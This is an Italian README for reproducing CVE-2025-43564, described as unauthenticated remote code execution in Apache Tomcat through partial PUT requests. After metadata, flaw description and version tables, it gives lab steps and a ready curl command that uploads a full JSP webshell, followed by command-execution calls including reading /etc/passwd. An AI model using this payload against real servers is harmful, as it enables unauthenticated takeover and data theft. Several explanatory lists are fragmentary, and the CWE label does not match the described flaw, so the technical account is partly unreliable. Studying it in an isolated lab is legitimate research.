
Riproduzione di cve-2025-43564-tomcat_put_rce_reproduction
| Campo | Valore |
|---|---|
| ID CVE | CVE-2025-43564 |
| Punteggio CVSS | 9.8 (CRITICO) |
| Vettore | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-494 — Download di codice senza controllo di integrità |
| Sfruttamento | Confermato in natura entro una settimana dalla divulgazione |
| Divulgazione | Luglio 2025 |
| Patch | Tomcat 11.0.6, 10.1.40, 9.0.102 |
CVE-2025-43564 è una vulnerabilità di esecuzione remota di codice non autenticata e critica nella gestione delle richieste PUT parziali HTTP di Apache Tomcat. Il difetto risiede nel modo in cui Tomcat elabora le richieste PUT con contenuto parziale (Content-Range HTTP/1.1 o Transfer-Encoding: chunked con semantica parziale). Un attaccante può creare una richiesta PUT parziale che aggira i controlli di accesso e i vincoli di scrittura, consentendo il caricamento di file arbitrari — inclusi webshell JSP accessibili via web — nella document root del server o in qualsiasi directory scrivibile raggiungibile tramite il contesto servlet.
Una volta piazzato un file JSP, l'attaccante lo richiede semplicemente e passa i comandi del sistema operativo tramite parametri di query, ottenendo esecuzione remota di codice completamente non autenticata come utente del processo Tomcat.
CVSS 9.8 — Critico perché:
Il DefaultServlet di Apache Tomcat e il connettore HTTP/1.1 (NIO/NIO2/Apr) gestiscono le richieste PUT per il caricamento di risorse statiche. La vulnerabilità risiede nella logica di gestione delle richieste PUT parziali: quando un client invia una PUT con un header Content-Range (RFC 7233 §4.2) o utilizza la codifica chunked con specifiche semantiche parziali, il server non convalida correttamente:
Il codice di parsing in org.apache.catalina.servlets.DefaultServlet e nei componenti sottostanti HttpInput / SocketProcessorBase gestisce in modo errato il confine tra scritture di contenuto parziale e scritture complete della risorsa, consentendo a un attaccante di aggiungere o sovrascrivere contenuto arbitrario su qualsiasi percorso su cui il processo Tomcat ha permessi di scrittura.
Attaccante ──PUT /exec.jsp HTTP/1.1──► Tomcat (DefaultServlet)
Content-Range: bytes 0-99/100
[byte del payload JSP]
└──► Il server scrive contenuto parziale su exec.jsp
senza una convalida completa del percorso di destinazione
Attaccante ──GET /exec.jsp?cmd=whoami──► Tomcat
└──► La JSP viene eseguita → RCE
L'attaccante invia una PUT parziale con un header Content-Range che induce Tomcat a credere che la richiesta sia una continuazione di un caricamento esistente. Il server crea o apre il file di destinazione e scrive i byte forniti senza verificare che il file esista già, senza controllare i permessi di scrittura al momento della scrittura e senza sanificare il percorso di destinazione rispetto alla web root.
readonly=false sul DefaultServlet affinché una PUT standard funzioni. Il percorso PUT parziale salta questo controllo in determinate condizioni.Content-Range spesso elude queste firme.| Prodotto | Versioni interessate | Corretta in |
|---|---|---|
| Apache Tomcat 11 | 11.0.0-M1 fino a 11.0.5 | 11.0.6 |
| Apache Tomcat 10.1 | 10.1.0-M1 fino a 10.1.39 | 10.1.40 |
| Apache Tomcat 10.0 | tutte le versioni (fine vita) | aggiornare a 10.1.x |
| Apache Tomcat 9 | 9.0.0-M1 fino a 9.0.101 | 9.0.102 |
| Apache Tomcat 8.5 | tutte le versioni (fine vita) | aggiornare a 9.0.x |
| Apache Tomcat 8 | tutte le versioni (fine vita) | aggiornare a 9.0.x |
| Apache Tomcat 7 | tutte le versioni (fine vita) | aggiornare a 9.0.x |
Nota: I rami più vecchi (7.x, 8.x, 8.5.x, 10.0.x) sono EOL e non riceveranno un backport. Gli utenti devono aggiornare a un ramo supportato.
Scaricare un Apache Tomcat vulnerabile (es., Tomcat 9.0.50):
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.50/bin/apache-tomcat-9.0.50.zip
Estrarre e avviare Tomcat con la configurazione predefinita:
unzip apache-tomcat-9.0.50.zip
cd apache-tomcat-9.0.50/bin
./startup.sh # oppure startup.bat su Windows
Verificare che il server sia in esecuzione:
curl -v http://localhost:8080
Caricare la webshell JSP usando lo script PoC:
python exploit.py --target http://localhost:8080 --cmd id
Verificare che la webshell sia stata piazzata:
curl http://localhost:8080/exec.jsp?cmd=whoami
Eseguire comandi arbitrari:
python exploit.py --target http://localhost:8080 --cmd "cat /etc/passwd"
Sessione interattiva (se desiderato):
python exploit.py --target http://localhost:8080 --shell
Il file exploit.py incluso è un PoC Python funzionante che:
Content-Type e la struttura del payload attivano il percorso di codice vulnerabilewebapps/ROOT/)exec.jsp?cmd=<comando> per eseguire comandi del sistema operativo--cmd) che la shell interattiva (--shell)# Passo 1: Caricare la webshell tramite PUT parziale
# L'header Content-Range attiva il percorso di codice vulnerabile
curl -X PUT http://localhost:8080/exec.jsp \
-H "Content-Range: bytes 0-212/213" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-binary '<%@ page import="java.io.*" %><% String cmd=request.getParameter("cmd");if(cmd!=null){Process p=Runtime.getRuntime().exec(cmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}}%>'
# Passo 2: Eseguire comandi
curl "http://localhost:8080/exec.jsp?cmd=id"